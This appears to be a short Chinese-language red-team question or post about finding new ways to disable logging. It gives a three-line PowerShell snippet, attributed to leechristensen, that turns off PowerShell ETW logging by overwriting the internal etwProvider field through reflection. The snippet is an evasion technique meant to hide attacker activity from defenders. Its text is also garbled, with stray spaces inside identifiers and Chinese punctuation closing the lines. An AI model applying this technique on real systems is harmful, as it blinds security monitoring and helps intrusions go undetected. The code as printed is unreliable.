Question

作为红队，我们一直在寻找独特的方法，尝试禁用任何类型的日志记录。虽然有一些办法来执行这些攻击，但我们仍在不断寻找新的简单技术。

以下是 leechristensen 的示例，可用于禁用 PowerShell 日志记录。

• $EtwProvider = [Ref].Assembly.GetType('System.Management.Automation. Tracing. PSE twLogProvider').GetField('etwProvider','NonPublic,Static')。
• $EventProvider = New-Object System.Diagnostics.Eventing.EventProvider –Argument List @([Guid]::NewGuid())。
• $EtwProvider.SetValue($null, $EventProvider)。